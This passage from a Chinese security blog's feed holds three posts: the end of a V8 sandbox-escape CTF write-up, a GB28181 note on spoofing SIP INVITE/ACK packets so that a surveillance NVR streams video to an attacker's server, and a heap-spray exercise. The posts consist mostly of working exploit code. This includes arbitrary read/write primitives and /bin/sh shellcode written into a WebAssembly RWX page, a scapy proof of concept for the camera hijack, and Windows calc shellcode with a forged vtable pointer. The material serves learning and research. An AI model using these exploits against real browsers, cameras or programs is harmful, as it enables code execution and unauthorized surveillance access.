WebAssembly.Instance(wasm_mod, &#123;<span class="attr">js</span>:&#123;global&#125;&#125;); </span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> getGlobal= wasm_instance.exports.getGlobal;</span><br><span class="line"><span class="keyword">var</span> setGlobal= wasm_instance.exports.setGlobal;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">arbWrite</span>(<span class="params">addr,val</span>)</span>&#123;</span><br><span class="line">    oob_arr[<span class="number">0x17</span>] = helper.itof(addr);</span><br><span class="line">    setGlobal(BigInt.asUintN(<span class="number">64</span>,BigInt(val)));</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">arbRead</span>(<span class="params">addr</span>)</span>&#123;</span><br><span class="line">    oob_arr[<span class="number">0x17</span>] = helper.itof(addr);</span><br><span class="line">    <span class="keyword">return</span> BigInt.asUintN(<span class="number">64</span>, getGlobal());</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">addrOf</span>(<span class="params">obj</span>)</span>&#123;</span><br><span class="line">    leaker[<span class="string">'x'</span>] = obj;</span><br><span class="line">    <span class="keyword">return</span> BigInt.asUintN(<span class="number">64</span>,js_base + BigInt(helper.ftoih(oob_arr[<span class="number">0x1b</span>])));</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">oob_arr.setLength(<span class="number">0x10000000</span>/<span class="number">8</span>);</span><br><span class="line">dp(oob_arr);</span><br><span class="line">dp(fake_imported_mutable_globals_arr);</span><br><span class="line">dp(leaker);</span><br><span class="line"><span class="comment">// %DebugPrint(i64arr);</span></span><br><span class="line"><span class="comment">// %SystemBreak();</span></span><br><span class="line"></span><br><span class="line">oob_arr[<span class="number">0x11</span>] = helper.isethtof(helper.ftoi(oob_arr[<span class="number">0x11</span>]),<span class="number">0x10000000</span>); <span class="comment">// length</span></span><br><span class="line">oob_arr[<span class="number">0x13</span>] = helper.itof(<span class="number">0</span>n); <span class="comment">// external_pointer</span></span><br><span class="line"><span class="comment">// %DebugPrint(i64arr);</span></span><br><span class="line"><span class="comment">// %SystemBreak();</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// leak js_base</span></span><br><span class="line"><span class="keyword">var</span> js_base = <span class="number">0</span>n;</span><br><span class="line"><span class="keyword">if</span>( (i64arr[<span class="number">3</span>] &gt;&gt; <span class="number">32</span>n ) == (i64arr[<span class="number">4</span>] &gt;&gt; <span class="number">32</span>n)) &#123;</span><br><span class="line">    js_base = BigInt.asUintN(<span class="number">64</span>,i64arr[<span class="number">3</span>]) &amp; <span class="number">0xffff00000000</span>n;</span><br><span class="line">&#125;</span><br><span class="line">helper.printhex(<span class="string">'js_base @'</span>, js_base);</span><br><span class="line"></span><br><span class="line">fake_imported_mutable_globals_arr_addr = addrOf(fake_imported_mutable_globals_arr);</span><br><span class="line">fake_imported_mutable_globals_addr = fake_imported_mutable_globals_arr_addr - <span class="number">0x9</span>n;</span><br><span class="line"></span><br><span class="line"><span class="comment">// %SystemBreak();</span></span><br><span class="line"></span><br><span class="line">oob_arr_addr = addrOf(oob_arr);</span><br><span class="line">wasm_inst_addr = addrOf(wasm_instance);</span><br><span class="line"></span><br><span class="line">imported_mutable_globals_offset = (wasm_inst_addr - js_base + <span class="number">0x50</span>n <span class="number">-1</span>n ) / <span class="number">8</span>n;</span><br><span class="line"></span><br><span class="line">dp(wasm_instance);</span><br><span class="line"><span class="comment">// %SystemBreak();</span></span><br><span class="line"></span><br><span class="line">helper.printhex(<span class="string">'fake_obj_addr @'</span>, fake_imported_mutable_globals_addr);</span><br><span class="line">helper.printhex(<span class="string">'oob_arr_addr @'</span>, oob_arr_addr);</span><br><span class="line">helper.printhex(<span class="string">'wasm_instance_addr @'</span>, wasm_inst_addr);</span><br><span class="line">helper.printhex(<span class="string">'wasm_instance.imported_mutable_globals_offset '</span>, imported_mutable_globals_offset);</span><br><span class="line"></span><br><span class="line"><span class="comment">// i64arr[imported_mutable_globals_offset] = helper.isethtoi(i64arr[imported_mutable_globals_offset] , Number(fake_imported_mutable_globals_addr &amp; 0xffffffffn));</span></span><br><span class="line"><span class="comment">// i64arr[imported_mutable_globals_offset + 1n] = helper.isetltoi(i64arr[imported_mutable_globals_offset + 1n], Number(fake_imported_mutable_globals_addr &gt;&gt; 32n));</span></span><br><span class="line">helper.printhex(<span class="string">'i64arr[globals_offset] @'</span>, i64arr[imported_mutable_globals_offset]);</span><br><span class="line">i64arr[imported_mutable_globals_offset] = fake_imported_mutable_globals_addr;</span><br><span class="line"></span><br><span class="line">dp(wasm_instance);</span><br><span class="line"><span class="comment">// %SystemBreak();</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> wasm_code2= <span class="keyword">new</span> <span class="built_in">Uint8Array</span>([</span><br><span class="line"><span class="number">0</span>, <span class="number">97</span>, <span class="number">115</span>, <span class="number">109</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">133</span>, <span class="number">128</span>, <span class="number">128</span>, <span class="number">128</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">96</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">127</span>,</span><br><span class="line"><span class="number">3</span>, <span class="number">130</span>, <span class="number">128</span>, <span class="number">128</span>, <span class="number">128</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">4</span>, <span class="number">132</span>, <span class="number">128</span>, <span class="number">128</span>, <span class="number">128</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">112</span>, <span class="number">0</span>, <span class="number">0</span>,</span><br><span class="line"><span class="number">5</span>, <span class="number">131</span>, <span class="number">128</span>, <span class="number">128</span>, <span class="number">128</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">6</span>, <span class="number">129</span>, <span class="number">128</span>, <span class="number">128</span>, <span class="number">128</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">7</span>, <span class="number">145</span>,</span><br><span class="line"><span class="number">128</span>, <span class="number">128</span>, <span class="number">128</span>, <span class="number">0</span>, <span class="number">2</span>, <span class="number">6</span>, <span class="number">109</span>, <span class="number">101</span>, <span class="number">109</span>, <span class="number">111</span>, <span class="number">114</span>, <span class="number">121</span>, <span class="number">2</span>, <span class="number">0</span>, <span class="number">4</span>, <span class="number">109</span>, <span class="number">97</span>,</span><br><span class="line"><span class="number">105</span>, <span class="number">110</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">10</span>, <span class="number">138</span>, <span class="number">128</span>, <span class="number">128</span>, <span class="number">128</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">132</span>, <span class="number">128</span>, <span class="number">128</span>, <span class="number">128</span>, <span class="number">0</span>, <span class="number">0</span>,</span><br><span class="line"><span class="number">65</span>, <span class="number">42</span>, <span class="number">11</span>,</span><br><span class="line">]);</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> wasm_mod2 = <span class="keyword">new</span> WebAssembly.Module(wasm_code2);</span><br><span class="line"><span class="keyword">var</span> wasm_instance2 = <span class="keyword">new</span> WebAssembly.Instance(wasm_mod2);</span><br><span class="line"><span class="keyword">var</span> f = wasm_instance2.exports.main;</span><br><span class="line"></span><br><span class="line">wasm_instance2_addr = addrOf(wasm_instance2);</span><br><span class="line"></span><br><span class="line">wasm_instance2_rwx_page_addr = wasm_instance2_addr + <span class="number">0x60</span>n - <span class="number">1</span>n;</span><br><span class="line">helper.printhex(<span class="string">'rwx page addr @'</span>, wasm_instance2_rwx_page_addr);</span><br><span class="line"><span class="comment">// %SystemBreak();</span></span><br><span class="line">wasm_instance2_rwx_page = arbRead(wasm_instance2_rwx_page_addr);</span><br><span class="line">helper.printhex(<span class="string">'rwx page @'</span>, wasm_instance2_rwx_page);</span><br><span class="line"></span><br><span class="line">shellcode = [<span class="number">0x99583b6a</span>, <span class="number">0x622fbb48</span>, <span class="number">0x732f6e69</span>, <span class="number">0x48530068</span>, <span class="number">0x2d68e789</span>, <span class="number">0x48000063</span>, <span class="number">0xe852e689</span>, <span class="number">0x00000008</span>,</span><br><span class="line"><span class="number">0x6e69622f</span>, <span class="number">0x0068732f</span>, <span class="number">0x89485756</span>, <span class="number">0x00050fe6</span>];</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span>(<span class="keyword">let</span> i=<span class="number">0</span>; i&lt;shellcode.length; i=i+<span class="number">2</span>)&#123;</span><br><span class="line">    arbWrite(wasm_instance2_rwx_page +(BigInt(i) * <span class="number">4</span>n),helper.isetlhtoi(shellcode[i],shellcode[i+<span class="number">1</span>]));</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// dp(wasm_instance2);</span></span><br><span class="line"><span class="comment">// %SystemBreak();</span></span><br><span class="line"></span><br><span class="line">f();</span><br></pre></td></tr></table></figure><p><img src="/2022/02/27/v8-sandbox-escape/Untitled%2014.png" alt="Untitled"></p><h1 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h1><ul><li><a href="https://mem2019.github.io/jekyll/update/2022/02/06/DiceCTF-Memory-Hole.html" target="_blank" rel="noopener">https://mem2019.github.io/jekyll/update/2022/02/06/DiceCTF-Memory-Hole.html</a></li><li><a href="https://blog.kylebot.net/2022/02/06/DiceCTF-2022-memory-hole/" target="_blank" rel="noopener">https://blog.kylebot.net/2022/02/06/DiceCTF-2022-memory-hole/</a></li><li><a href="https://docs.google.com/document/d/1FM4fQmIhEqPG8uGp5o9A-mnPB5BOeScZYpkHjo0KKA8/edit#" target="_blank" rel="noopener">https://docs.google.com/document/d/1FM4fQmIhEqPG8uGp5o9A-mnPB5BOeScZYpkHjo0KKA8/edit#</a></li><li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Global/Global" target="_blank" rel="noopener">https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Global/Global</a></li><li><a href="https://developer.mozilla.org/zh-CN/docs/WebAssembly/Understanding_the_text_format" target="_blank" rel="noopener">https://developer.mozilla.org/zh-CN/docs/WebAssembly/Understanding_the_text_format</a></li><li><a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/global.wat" target="_blank" rel="noopener">https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/global.wat</a></li></ul>]]></content>
    
    <summary type="html">
    
      
      
        &lt;blockquote&gt;
&lt;p&gt;本文首发于跳跳糖 &lt;a href=&quot;https://tttang.com/archive/1443/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://tttang.com/archive/1443/&lt;/a&gt; &lt;/p&gt;
      
    
    </summary>
    
    
    
      <category term="Pwn" scheme="https://jayl1n.github.io/tags/Pwn/"/>
    
      <category term="二进制" scheme="https://jayl1n.github.io/tags/%E4%BA%8C%E8%BF%9B%E5%88%B6/"/>
    
      <category term="CTF" scheme="https://jayl1n.github.io/tags/CTF/"/>
    
      <category term="浏览器" scheme="https://jayl1n.github.io/tags/%E6%B5%8F%E8%A7%88%E5%99%A8/"/>
    
  </entry>
  
  <entry>
    <title>GB28181 的一点小问题</title>
    <link href="https://jayl1n.github.io/2021/10/05/pentest-gb28181-attack/"/>
    <id>https://jayl1n.github.io/2021/10/05/pentest-gb28181-attack/</id>
    <published>2021-10-05T01:00:52.000Z</published>
    <updated>2023-08-16T15:16:43.283Z</updated>
    
    <content type="html"><![CDATA[<h1 id="GB28181"><a href="#GB28181" class="headerlink" title="GB28181"></a>GB28181</h1><p>GB28181 是视频监控领域的国家标准，规定了公共安全视频监控联网系统的互联结构， 传输、交换、控制的基本要求和安全性要求， 以及控制、传输流程和协议接口等技术要求。</p><p>目前大多数厂商的摄像头都支持这个协议，用户可以自己实现媒体服务器，使用这个协议从摄像头上拉流观看。</p><h1 id="客户端拉流过程"><a href="#客户端拉流过程" class="headerlink" title="客户端拉流过程"></a>客户端拉流过程</h1><p>见图</p><p><img src="/2021/10/05/pentest-gb28181-attack/1.png" alt="1"></p><p>GB28181 协议会话通道用的是 SIP 协议，往下看需要一些 SIP 协议相关的知识。</p><p>带入到实际场景中，各个实体的身份 ⬇️：</p><ul><li>媒体流接收者：观众，客户端</li><li>SIP 服务器：信令服务器，和摄像头 NVR 设备交互，摄像头 NVR 在使用前需要发送 <code>REGISTER</code> 包注册到 SIP 服务器</li><li>媒体服务器：接收推流的服务器，转发媒体流给观众</li><li>媒体流发送者：摄像头 NVR</li></ul><p>过程：</p><blockquote><p>1、媒体流接收者向 SIP 服务器发送 Invite 消息，消息头域中携带 Subject 字段，表明点播的视频 源 ID、分辨率、媒体流接收者 ID、接收端媒体流序列号标识等参数，SDP 消息体中 s 字段为“Play” 代表实时点播;</p><p>2、SIP 服务器收到 Invite 请求后，通过三方呼叫控制建立媒体服务器和媒体流发送者之间的媒体连接。向媒体服务器发送 Invite 消息，此消息不携带 SDP 消息体;</p><p>3、媒体服务器收到 SIP 服务器的 Invite 请求后，回复 200OK 响应，携带 SDP 消息体，消息体中 描述了媒体服务器接收媒体流的 IP、端口、媒体格式等内容;</p><p>4、SIP 服务器收到媒体服务器返回的 200OK 响应后，向媒体流发送者发送 Invite 请求，请求中携 带消息 3 中媒体服务器回复的 200OK 响应消息体，并且修改 s 字段为“Play”代表实时点播，增 加 y 字段描述 SSRC 值，f 字段描述媒体参数;</p><p>5、媒体流发送者收到 SIP 服务器的 Invite 请求后，回复 200OK 响应，携带 SDP 消息体，消息体 中描述了媒体流发送者发送媒体流的 IP、端口、媒体格式、SSRC 字段等内容;</p><p>6、SIP 服务器收到媒体流发送者返回的 200OK 响应后，向媒体服务器发送 ACK 请求，请求中携 带消息 5 中媒体流发送者回复的 200OK 响应消息体，完成与媒体服务器的 Invite 会话建立过程;</p><p>7、SIP 服务器收到媒体流发送者返回的 200OK 响应后，向媒体流发送者发送 ACK 请求，请求中 不携带消息体，完成与媒体流发送者的 Invite 会话建立过程;</p><p>之后媒体流发送者推流到媒体服务器，媒体服务器在转发给接收者。</p></blockquote><h1 id="风险点"><a href="#风险点" class="headerlink" title="风险点"></a>风险点</h1><p>看上面的活动图，媒体流发送者在收到 SIP 服务器的 <code>INVITE + ACK</code> 包之后就开始推流，<br><code>BYE</code> 包用于终止推流，其它实体和它并没有交互。</p><p><strong>一般情况下，NVR 支持的 SIP 是基于 UDP 的，而 UDP 报文的源 IP 是可以伪造。假如流媒体发送者（即NVR）没有对接受的信令校验认证，攻击者只要知道 SIP 服务器的 IP 地址，就可以伪造 SIP 服务器的身份，向 NVR 发起推流请求 （<code>INVITE + ACK</code> 包)，推流到任意的流媒体服务器。</strong></p><p>如下</p><p><img src="/2021/10/05/pentest-gb28181-attack/2.png" alt="2"></p><blockquote><p>最终效果是绕过 SIP 服务器，直接看摄像头了。</p></blockquote><p>用 <code>scapy</code> 写 POC 很容易</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> scapy.all <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">INVITE_PKG =<span class="string">'''INVITE sip:66612310001@192.168.1.2 SIP/2.0</span></span><br><span class="line"><span class="string">Call-ID: 0a097798b89c7897982198abcde8291@192.168.1.1</span></span><br><span class="line"><span class="string">CSeq: 2 INVITE</span></span><br><span class="line"><span class="string">From: &lt;sip:77779200001@6661200000&gt;;tag=fromTag</span></span><br><span class="line"><span class="string">To: &lt;sip:66612310001@6661200000&gt;</span></span><br><span class="line"><span class="string">Via: SIP/2.0/UDP 192.168.1.2</span></span><br><span class="line"><span class="string">Max-Forwards: 70</span></span><br><span class="line"><span class="string">Contact: &lt;sip:77779200001@192.168.1.1:5060&gt;</span></span><br><span class="line"><span class="string">Content-Type: Application/SDP</span></span><br><span class="line"><span class="string">Content-Length: 248</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">v=0</span></span><br><span class="line"><span class="string">o=77779200001 0 0 IN IP4 192.168.1.1</span></span><br><span class="line"><span class="string">s=Play</span></span><br><span class="line"><span class="string">u=66612310001:0</span></span><br><span class="line"><span class="string">c=IN IP4 188.8.8.8</span></span><br><span class="line"><span class="string">t=0 0</span></span><br><span class="line"><span class="string">m=video 2021 RTP/AVP 96 98 97</span></span><br><span class="line"><span class="string">a=recvonly</span></span><br><span class="line"><span class="string">a=rtpmap:96 PS/90000</span></span><br><span class="line"><span class="string">a=rtpmap:98 H264/90000</span></span><br><span class="line"><span class="string">a=rtpmap:97 MPEG4/90000</span></span><br><span class="line"><span class="string">y=0200000849</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">'''</span>.replace(<span class="string">'\n'</span>,<span class="string">'\r\n'</span>)</span><br><span class="line"></span><br><span class="line">sendp(Ether()/IP(dst=<span class="string">'192.168.1.2'</span>,src=<span class="string">'192.168.1.1'</span>)/UDP(dport=<span class="number">5060</span>)/INVITE_PKG)</span><br><span class="line"></span><br><span class="line">ACK_PKG = <span class="string">'''ACK sip:66612310001@192.168.1.2 SIP/2.0</span></span><br><span class="line"><span class="string">Call-ID: 0a097798b89c7897982198abcde8291@192.168.1.1</span></span><br><span class="line"><span class="string">CSeq: 2 ACK</span></span><br><span class="line"><span class="string">From: &lt;sip:77779200001@6661200000&gt;;tag=fromTag</span></span><br><span class="line"><span class="string">To: &lt;sip:66612310001@6661200000&gt;</span></span><br><span class="line"><span class="string">Via: SIP/2.0/UDP 192.168.1.2</span></span><br><span class="line"><span class="string">Max-Forwards: 70</span></span><br><span class="line"><span class="string">Contact: &lt;sip:77779200001@192.168.1.1:5060&gt;</span></span><br><span class="line"><span class="string">Content-Type: Application/SDP</span></span><br><span class="line"><span class="string">Content-Length: 0</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">'''</span>.replace(<span class="string">'\n'</span>,<span class="string">'\r\n'</span>)</span><br><span class="line"></span><br><span class="line">sendp(Ether()/IP(dst=<span class="string">'192.168.1.2'</span>,src=<span class="string">'192.168.1.1'</span>)/UDP(dport=<span class="number">5060</span>)/ACK_PKG)</span><br></pre></td></tr></table></figure><p>目前国内要求运营商在接入网上进行源地址验证，所以公网上这种攻击可能不是那么容易成功，但总有些路由器设备配置会存在缺陷，还是可以伪造的，看运气了。</p><h1 id="End"><a href="#End" class="headerlink" title="End"></a>End</h1><p>GB28181 中有提到关于 “SIP 信令认证”，在 SIP 服务器和媒体流发送者之间加入一个加密模块，每个 SIP 信令中加入额外的校验字段。在每一端接收到 SIP 信令后都要去和这个加密模块校验，校验通过的信令才会被处理。</p><p><img src="/2021/10/05/pentest-gb28181-attack/3.png" alt="3"></p><blockquote><p>前端设备： 联网系统中安装于监控现场的信息采集、编码/处理、存储、传输、安全控制等设备。 这里指 NVR。</p></blockquote><p>这只是一个补充的部分，还没有看到有哪家监控厂商实现，因为需要有配套的 SIP 服务器，大客户才能定制吧。</p><p>如果对安全性要求比较高，可以考虑让 NVR 走安全隧道。</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h1 id=&quot;GB28181&quot;&gt;&lt;a href=&quot;#GB28181&quot; class=&quot;headerlink&quot; title=&quot;GB28181&quot;&gt;&lt;/a&gt;GB28181&lt;/h1&gt;&lt;p&gt;GB28181 是视频监控领域的国家标准，规定了公共安全视频监控联网系统的互联结构， 传输、交换、控
      
    
    </summary>
    
    
    
      <category term="Pentest" scheme="https://jayl1n.github.io/tags/Pentest/"/>
    
  </entry>
  
  <entry>
    <title>【RealPwn-2】 堆喷练习</title>
    <link href="https://jayl1n.github.io/2021/07/07/realpwn-heap-spary-exercise/"/>
    <id>https://jayl1n.github.io/2021/07/07/realpwn-heap-spary-exercise/</id>
    <published>2021-07-07T11:18:28.000Z</published>
    <updated>2023-08-16T15:16:43.287Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>[RealPwn] 系列是我学习 pwn 的笔记，只记录真实场景中常用到的漏洞利用技术。</p></blockquote><h1 id="堆喷"><a href="#堆喷" class="headerlink" title="堆喷"></a>堆喷</h1><p>堆喷的利用，简单概括就是，申请大量内存，申请到 <code>0x0C0C0C0C</code> ，写入 slides + shellcode ，再控制 EIP 指向 <code>0x0C0C0C0C</code> 即可。</p><blockquote><p>理论上这里的 <code>0x0C0C0C0C</code> 可以替换为别的，比如 <code>0x90</code>、<code>0x0D</code> 等不影响shellcode 执行的指令。</p></blockquote><p>实际场景，常见的思路是覆盖对象的虚函数表指针 vptr，在 <code>0x0C0C0C0C</code> 伪造一个虚函数表，填满 <code>0x0C0C0C0C</code> + shellcode ，当调用对象的虚函数时，会取到 <code>0x0C0C0C0C</code> 作为函数的地址，跳回到 <code>0x0C0C0C0C</code> 的起始，把后面的数据当作指令执行， </p><p><img src="/2021/07/07/realpwn-heap-spary-exercise/v.png" alt="v"></p><blockquote><p>为什么不用 <code>0x90909090</code> (nop;nop;nop;nop;) ? 是因为 <code>0x90909090 &gt; 0x7fffffff</code> 处在内核空间，程序跳到那会 crash。</p></blockquote><h1 id="调试"><a href="#调试" class="headerlink" title="调试"></a>调试</h1><p>开始调吧，还是 VS2019 + x32dbg 。</p><p>代码：</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;iostream&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;Windows.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> ALLOC_SIZE 0x100000</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> <span class="built_in">std</span>;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">A</span> &#123;</span></span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line"><span class="function"><span class="keyword">virtual</span> <span class="keyword">int</span> <span class="title">pwn</span><span class="params">()</span> </span>&#123;</span><br><span class="line"><span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">&#125;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 弹计算器</span></span><br><span class="line"><span class="keyword">char</span> shellcode[] = <span class="string">"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"</span></span><br><span class="line"><span class="string">"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"</span></span><br><span class="line"><span class="string">"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"</span></span><br><span class="line"><span class="string">"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"</span></span><br><span class="line"><span class="string">"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"</span></span><br><span class="line"><span class="string">"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"</span></span><br><span class="line"><span class="string">"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"</span></span><br><span class="line"><span class="string">"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"</span></span><br><span class="line"><span class="string">"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"</span></span><br><span class="line"><span class="string">"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"</span></span><br><span class="line"><span class="string">"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"</span></span><br><span class="line"><span class="string">"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"</span></span><br><span class="line"><span class="string">"\x00\x53\xff\xd5\x63\x61\x6c\x63\x00"</span>;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span> </span>&#123;</span><br><span class="line"><span class="keyword">char</span> msg[<span class="number">128</span>];</span><br><span class="line"></span><br><span class="line">A* a = <span class="keyword">new</span> A;</span><br><span class="line"><span class="keyword">long</span>* a_addr = (<span class="keyword">long</span>*) a;</span><br><span class="line"><span class="keyword">long</span>* vptr = (<span class="keyword">long</span>*) ( *a_addr);</span><br><span class="line"></span><br><span class="line">a_addr[<span class="number">0</span>] = <span class="number">0x0C0C0C0C</span>; <span class="comment">// 修改 vptr</span></span><br><span class="line"></span><br><span class="line">sprintf_s(msg, <span class="string">"object a address: 0x%p"</span>, a_addr);</span><br><span class="line"><span class="built_in">cout</span> &lt;&lt; msg &lt;&lt; <span class="built_in">endl</span>;</span><br><span class="line">sprintf_s(msg, <span class="string">"vtable address: 0x%p"</span>, vptr[<span class="number">0</span>]);</span><br><span class="line"><span class="built_in">cout</span> &lt;&lt; msg &lt;&lt; <span class="built_in">endl</span>;</span><br><span class="line"></span><br><span class="line">system(<span class="string">"pause"</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span>(<span class="keyword">int</span> i = <span class="number">0</span>; i &lt; <span class="number">0x100</span> ; i++) &#123; <span class="comment">// 模拟堆喷，申请大量内存，256 个 chunk</span></span><br><span class="line"><span class="keyword">long</span>* buf = (<span class="keyword">long</span>*) <span class="built_in">malloc</span>(ALLOC_SIZE); <span class="comment">// 1MB</span></span><br><span class="line"></span><br><span class="line">sprintf_s(msg, <span class="string">"chunk[%d] addr: 0x%p"</span>, i, buf);</span><br><span class="line"><span class="built_in">cout</span> &lt;&lt; msg &lt;&lt; <span class="built_in">endl</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>((<span class="keyword">long</span>) buf == <span class="number">0</span>) <span class="keyword">break</span>; <span class="comment">// 内存不足 malloc 失败</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">memset</span>(buf, <span class="number">0x0c</span>, ALLOC_SIZE - <span class="keyword">sizeof</span>(shellcode)); <span class="comment">// 填充 slides</span></span><br><span class="line"><span class="keyword">if</span>((<span class="keyword">long</span>) buf + ALLOC_SIZE &gt; <span class="number">0x0c0c0c0c</span> &amp;&amp; (<span class="keyword">long</span>) buf &lt; <span class="number">0x0c0c0c0c</span>)&#123; <span class="comment">// 此处判断可以省略</span></span><br><span class="line"><span class="built_in">memset</span>(buf, <span class="number">0x0c</span>, ALLOC_SIZE - <span class="keyword">sizeof</span>(shellcode)); <span class="comment">// 填充 slides</span></span><br><span class="line"><span class="built_in">memcpy</span>(buf + (ALLOC_SIZE - <span class="keyword">sizeof</span>(shellcode))/<span class="number">4</span>, shellcode, <span class="keyword">sizeof</span>(shellcode)); <span class="comment">// 写 shellcode</span></span><br><span class="line">system(<span class="string">"pause"</span>);</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">system(<span class="string">"pause"</span>);</span><br><span class="line"></span><br><span class="line">a-&gt;pwn(); <span class="comment">// 调用虚函数</span></span><br><span class="line"></span><br><span class="line"><span 